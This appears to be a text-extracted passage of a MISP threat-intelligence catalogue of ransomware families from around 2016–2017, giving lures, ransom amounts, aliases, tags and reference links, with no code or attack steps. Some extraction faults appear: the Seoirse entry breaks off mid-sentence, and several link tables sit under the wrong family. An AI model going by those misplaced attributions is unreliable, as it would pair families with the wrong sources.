<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/netflix-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/netflix-ransomware.html</a></td>
</tr>
</tbody>
</table>
Merry Christmas

It’s directed to English and Italian speaking users, therefore is able to infect worldwide. Most attacks are on organizations and servers. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc. They pose as a Consumer complaint notification that’s coming from Federal Trade Commission from USA, with an attached file called “complaint.pdf”. Written in Delphi by hacker MicrRP.

The tag is: `misp-galaxy:ransomware="Merry Christmas"`

Merry Christmas is also known as:

• Merry X-Mas
• MRCR

Table 7400. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/mrcr1-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/mrcr1-ransomware.html</a></td>
</tr>
<tr>
<td><a href="http://www.zdnet.com/article/not-such-a-merry-christmas-the-ransomware-that-also-steals-user-data/">http://www.zdnet.com/article/not-such-a-merry-christmas-the-ransomware-that-also-steals-user-data/</a></td>
</tr>
<tr>
<td><a href="https://decrypter.emsisoft.com/mrcr">https://decrypter.emsisoft.com/mrcr</a></td>
</tr>
</tbody>
</table>

Seoirse Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc. Seoirse is how in Ireland people say the name
KillDisk Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Every file is encrypted with a personal AES-key, and then AES-key encrypts with a RSA-1028 key. Hacking by TeleBots (Sandworm). Goes under a fake name: Update center or Microsoft Update center.

The tag is: *misp-galaxy:ransomware="KillDisk Ransomware"*

---

DeriaLock Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Maker is arizonacode and ransom amount is 20-30$. If the victim decides to pay the ransom, he will have to copy HWID and then speak to the hacker on Skype and forward him the payment.

The tag is: *misp-galaxy:ransomware="DeriaLock Ransomware"*
BadEncript Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="BadEncript Ransomware"

Table 7404. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/badencript-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/badencript-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/813064189719805952">https://twitter.com/demonslay335/status/813064189719805952</a></td>
</tr>
</tbody>
</table>

AdamLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the creator is puff69.

The tag is: misp-galaxy:ransomware="AdamLocker Ransomware"

Table 7405. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/adamlocker-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/adamlocker-ransomware.html</a></td>
</tr>
</tbody>
</table>

Alphabet Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses as Windows 10 Critical Update Service. Offers you to update your Windows 10, but instead encrypts your files. For successful attack, the victim must have .NET Framework 4.5.2 installed on him computer.

The tag is: misp-galaxy:ransomware="Alphabet Ransomware"

View relationships graph

Alphabet Ransomware has relationships with:

• similar: misp-galaxy:malpedia="Alphabet Ransomware" with estimative-language:likelihood-probability="likely"
**KoKoKrypt Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread by its creator in forums. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files and documents and more. The ransom is 0.1 bitcoins within 72 hours. Uses Windows Update as a decoy. Creator: Talnaci Alexandru

The tag is: `misp-galaxy:ransomware="KoKoKrypt Ransomware"`

KoKoKrypt Ransomware is also known as:

- KokoLocker Ransomware

**L33TAF Locker Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.5 bitcoins. The name of the creator is staffttt, he also created Fake CryptoLocker

The tag is: `misp-galaxy:ransomware="L33TAF Locker Ransomware"`

**PClock4 Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam (for example: “you have a criminal case against you”), fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="PClock4 Ransomware"`
PClock4 Ransomware is also known as:

- PClock SysGop Ransomware

### Guster Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses VBS-script to send a voice message as the first few lines of the note.

The tag is: `misp-galaxy:ransomware="Guster Ransomware"`

### Roga

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker requests the ransom in Play Store cards.

The tag is: `misp-galaxy:ransomware="Roga"`

View relationships graph

Roga has relationships with:

- similar: `misp-galaxy:ransomware="Free-Freedom"` with estimative-language:likelihood-probability="likely"
CryptoLocker3 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Creator is staffttt and the ransom is 0.5 bitcoins.

The tag is: misp-galaxy:ransomware="CryptoLocker3 Ransomware"

CryptoLocker3 Ransomware is also known as:

- Fake CryptoLocker

Table 7412. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/cryptolocker3-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/cryptolocker3-ransomware.html</a></td>
</tr>
</tbody>
</table>

ProposalCrypt Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 1.0 bitcoins.

The tag is: misp-galaxy:ransomware="ProposalCrypt Ransomware"

Table 7413. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/proposalcrypt-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/proposalcrypt-ransomware.html</a></td>
</tr>
<tr>
<td><a href="http://www.archersecuritygroup.com/what-is-ransomware/">http://www.archersecuritygroup.com/what-is-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/812002960083394560">https://twitter.com/demonslay335/status/812002960083394560</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/811613888705859586">https://twitter.com/malwrhunterteam/status/811613888705859586</a></td>
</tr>
</tbody>
</table>

Manifestus Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker demands 0.2 bitcoins. The ransomware poses as a Window update.

The tag is: misp-galaxy:ransomware="Manifestus Ransomware "

Table 7414. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/manifestus-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/manifestus-ransomware.html</a></td>
</tr>
</tbody>
</table>
EnkripsiPC Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the hacker is humanpuff69 and he requests 0.5 bitcoins. The encryption password is based on the computer name

The tag is: `misp-galaxy:ransomware="EnkripsiPC Ransomware"`

EnkripsiPC Ransomware is also known as:

- IDRANSOMv3
- Manifestus

View relationships graph

EnkripsiPC Ransomware has relationships with:

- similar: `misp-galaxy:malpedia="Manifestus"` with `estimative-language:likelihood-probability="likely"

BrainCrypt Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. So far the victims are from Belarus and Germany.

The tag is: `misp-galaxy:ransomware="BrainCrypt Ransomware"

Table 7415. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/enkripsi-pc-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/enkripsi-pc-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/811343914712100872">https://twitter.com/demonslay335/status/811343914712100872</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/81126425481494016">https://twitter.com/BleepinComputer/status/81126425481494016</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/811587154983981056">https://twitter.com/struppigel/status/811587154983981056</a></td>
</tr>
</tbody>
</table>

Table 7416. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/braincrypt-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/braincrypt-ransomware.html</a></td>
</tr>
</tbody>
</table>
MSN CryptoLocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.2 bitcoins.

The tag is: **misp-galaxy:ransomware="MSN CryptoLocker Ransomware"**

<table>
<thead>
<tr>
<th>Table 7417. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/msn-cryptolocker-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/msn-cryptolocker-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppiigel/status/81076686005719040">https://twitter.com/struppiigel/status/81076686005719040</a></td>
</tr>
</tbody>
</table>

CryptoBlock Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is in the amount is 0.3 bitcoins. The ransomware is disguises themselves as Adobe Systems, Incorporated. RaaS

The tag is: **misp-galaxy:ransomware="CryptoBlock Ransomware "**

<table>
<thead>
<tr>
<th>Table 7418. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/cryptoblock-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/cryptoblock-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/drProct0r/status/810500976415281154">https://twitter.com/drProct0r/status/810500976415281154</a></td>
</tr>
</tbody>
</table>

AES-NI Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: **misp-galaxy:ransomware="AES-NI Ransomware "**

<table>
<thead>
<tr>
<th>Table 7419. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/aes-ni-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/aes-ni-ransomware.html</a></td>
</tr>
</tbody>
</table>

Koolova Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker of this ransomware tends to make
lots of spelling errors in his requests. With Italian text that only targets the Test folder on the user’s desktop

The tag is: `misp-galaxy:ransomware="Koolova Ransomware"`

### Fake Globe Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... The ransom is 1bitcoin.

The tag is: `misp-galaxy:ransomware="Fake Globe Ransomware"`

Fake Globe Ransomware is also known as:

- Globe Imposter
- GlobeImposter

View relationships graph

Fake Globe Ransomware has relationships with:

- similar: `misp-galaxy:malpedia="GlobeImposter"` with `estimative-language:likelihood-probability="likely"`

### Table 7421. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/fake-globe-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/fake-globe-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/fwosar/status/812421183245287424">https://twitter.com/fwosar/status/812421183245287424</a></td>
</tr>
<tr>
<td><a href="https://decrypter.emsisoft.com/globeimposter">https://decrypter.emsisoft.com/globeimposter</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/809795402421641216">https://twitter.com/malwrhunterteam/status/809795402421641216</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/GrujaRS/status/1004661259906768896">https://twitter.com/GrujaRS/status/1004661259906768896</a></td>
</tr>
</tbody>
</table>
V8Locker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: misp-galaxy:ransomware="V8Locker Ransomware"

Table 7422. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/v8locker-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/v8locker-ransomware.html</a></td>
</tr>
</tbody>
</table>

Cryptorium (Fake Ransomware)

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc., however your files are not really encrypted, only the names are changed.

The tag is: misp-galaxy:ransomware="Cryptorium (Fake Ransomware)"

Table 7423. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/cryptorium-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/cryptorium-ransomware.html</a></td>
</tr>
</tbody>
</table>

Antihacker2017 Ransomware

It’s directed to Russian speaking users, therefore is able to infect mostly the old USSR countries. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc ... The hacker goes by the nickname Antihacker and requests the victim to send him an email for the decryption. He does not request any money only a warning about looking at porn (gay, incest and rape porn to be specific).

The tag is: misp-galaxy:ransomware="Antihacker2017 Ransomware"

Table 7424. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/antihacker2017-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/antihacker2017-ransomware.html</a></td>
</tr>
</tbody>
</table>

CIA Special Agent 767 Ransomware (FAKE!!!)

It’s directed to English speaking users, therefore is able to infect users all over the world. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... Your files are not really encrypted and nothing actually happens, however the hacker does ask the victim to
pay a sum of 100$, after 5 days the sum goes up to 250$ and thereafter to 500$. After the payment is received, the victim gets the following message informing him that he has been fooled and he simply needed to delete the note. https://4.bp.blogspot.com/-T8iSbbGOz84/WFGZEbuRfCI/AAAAAAAACm0/SO8Srwx2UIM3FPZcZl7W76oSDCsnq2vfgCPcB/s1600/code2.jpg

The tag is: misp-galaxy:ransomware="CIA Special Agent 767 Ransomware (FAKE!!!)"

Table 7425. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/cia-special-agent-767-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/cia-special-agent-767-ransomware.html</a></td>
</tr>
</tbody>
</table>

**LoveServer Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... This hacker request your IP address in return for the decryption.

The tag is: misp-galaxy:ransomware="LoveServer Ransomware"

Table 7426. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/loveserver-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/loveserver-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Kraken Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... The hacker requests 2 bitcoins in return for the files.

The tag is: misp-galaxy:ransomware="Kraken Ransomware"

Table 7427. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/kraken-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/kraken-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Antix Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email
spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... The ransom is 0.25 bitcoins and the nickname of the hacker is FRC 2016.

The tag is: misp-galaxy:ransomware="Antix Ransomware"

**Table 7428. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[<a href="https://id-ransomware.blogspot.co.il/2016/12/antix-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/antix-ransomware.html</a>]</td>
</tr>
</tbody>
</table>

**PayDay Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... The ransom is R$950 which is due in 5 days. (R$ is a Brazilian currency) Based off of Hidden-Tear

The tag is: misp-galaxy:ransomware="PayDay Ransomware"

**Table 7429. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[<a href="https://id-ransomware.blogspot.co.il/2016/12/payday-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/payday-ransomware.html</a>]</td>
</tr>
<tr>
<td>[<a href="https://twitter.com/BleepinComputer/status/808316635094380544">https://twitter.com/BleepinComputer/status/808316635094380544</a>]</td>
</tr>
</tbody>
</table>

**Slimhem Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is NOT spread using email spam, fake updates, attachments and so on. It simply places a decrypt file on your computer.

The tag is: misp-galaxy:ransomware="Slimhem Ransomware"

**Table 7430. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[<a href="https://id-ransomware.blogspot.co.il/2016/12/slimhem-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/slimhem-ransomware.html</a>]</td>
</tr>
</tbody>
</table>

**M4N1F3STO Ransomware (FAKE!!!!!!)**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... FILES DON'T REALLY GET DELETED NOR DO THEY GET ENCRYPTED!!!!!!!

The tag is: misp-galaxy:ransomware="M4N1F3STO Ransomware (FAKE!!!!!!)"

**Table 7431. Table References**
**Dale Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... CHIP > DALE

The tag is: *misp-galaxy:ransomware=*"Dale Ransomware"*

Dale Ransomware is also known as:

- DaleLocker Ransomware

**UltraLocker Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... Based on the idiotic open-source ransomware called CryptoWire

The tag is: *misp-galaxy:ransomware=*"UltraLocker Ransomware"*

**AES_KEY_GEN_ASSIST Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: *misp-galaxy:ransomware=*"AES_KEY_GEN_ASSIST Ransomware"*

*Table 7432. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/ultralocker-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/ultralocker-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/807161652663742465">https://twitter.com/struppigel/status/807161652663742465</a></td>
</tr>
</tbody>
</table>

*Table 7433. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/aeskeygenassist-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/aeskeygenassist-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/09/dxxd-ransomware.html">https://id-ransomware.blogspot.co.il/2016/09/dxxd-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://www.bleepingcomputer.com/forums/t/634258/aes-key-gen-assistprotonmailcom-help-support/">https://www.bleepingcomputer.com/forums/t/634258/aes-key-gen-assistprotonmailcom-help-support/</a></td>
</tr>
</tbody>
</table>
Code Virus Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Code Virus Ransomware"

Table 7434. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/code-virus-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/code-virus-ransomware.html</a></td>
<td></td>
</tr>
</tbody>
</table>

FLKR Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="FLKR Ransomware"

Table 7435. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/flkr-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/flkr-ransomware.html</a></td>
<td></td>
</tr>
</tbody>
</table>

PopCorn Time Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. These hackers claim to be students from Syria. This ransomware poses as the popular torrent movie screener called PopCorn. These criminals give you the chance to retrieve your files “for free” by spreading this virus to others. Like shown in the note bellow: https://www.bleepingstatic.com/images/news/ransomware/p/Popcorn-time/refer-a-friend.png

The tag is: misp-galaxy:ransomware="PopCorn Time Ransomware"

Table 7436. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/popcorntime-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/popcorntime-ransomware.html</a></td>
<td></td>
</tr>
</tbody>
</table>
**HackedLocker Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... NO POINT OF PAYING THE RANSOM—THE HACKER DOES NOT GIVE A DECRYPT AFTERWARDS.

The tag is: `misp-galaxy:ransomware="HackedLocker Ransomware"`

**Table 7437. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/hackedlocker-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/hackedlocker-ransomware.html</a></td>
</tr>
</tbody>
</table>

---

**GoldenEye Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: `misp-galaxy:ransomware="GoldenEye Ransomware"`

View relationships graph

GoldenEye Ransomware has relationships with:

- similar: `misp-galaxy:ransomware="Petya"` with `estimative-language:likelihood-probability="likely"`

**Table 7438. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/12/goldeneye-ransomware.html">https://id-ransomware.blogspot.co.il/2016/12/goldeneye-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://www.bleepingcomputer.com/forums/t/634778/golden-eye-virus/">https://www.bleepingcomputer.com/forums/t/634778/golden-eye-virus/</a></td>
</tr>
</tbody>
</table>

---

**Sage Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: `misp-galaxy:ransomware="Sage Ransomware"`

**Table 7439. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
SQ_ Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... This hacker requests 4 bitcoins for ransom.

The tag is: misp-galaxy:ransomware="SQ Ransomware"

SQ_ Ransomware is also known as:

- VO_ Ransomware

Matrix

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: misp-galaxy:ransomware="Matrix"

Matrix is also known as:

- Malta Ransomware
- Matrix Ransomware

Table 7441. Table References

Links

- https://twitter.com/rommeljoven17/status/804251901529231360
- https://id-ransomware.blogspot.co.il/2016/12/sage-ransomware.html
Satan666 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Satan666 Ransomware"`

Table 7442. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/satan666-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/satan666-ransomware.html</a></td>
</tr>
</tbody>
</table>

RIP (Phoenix) Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: `misp-galaxy:ransomware="RIP (Phoenix) Ransomware"`

RIP (Phoenix) Ransomware is also known as:

- RIP
- Phoenix

Table 7443. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/rip-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/rip-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/804810315456200704">https://twitter.com/BleepinComputer/status/804810315456200704</a></td>
</tr>
</tbody>
</table>
Locked-In Ransomware or NoValid Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on RemindMe

The tag is: `misp-galaxy:ransomware="Locked-In Ransomware or NoValid Ransomware"`

Locked-In Ransomware or NoValid Ransomware is also known as:

- Locked-In Ransomware
- NoValid Ransomware

Table 7444. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/novalid-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/novalid-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/807169774098796544">https://twitter.com/struppigel/status/807169774098796544</a></td>
</tr>
</tbody>
</table>

Chartwig Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Chartwig Ransomware"`

Table 7445. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
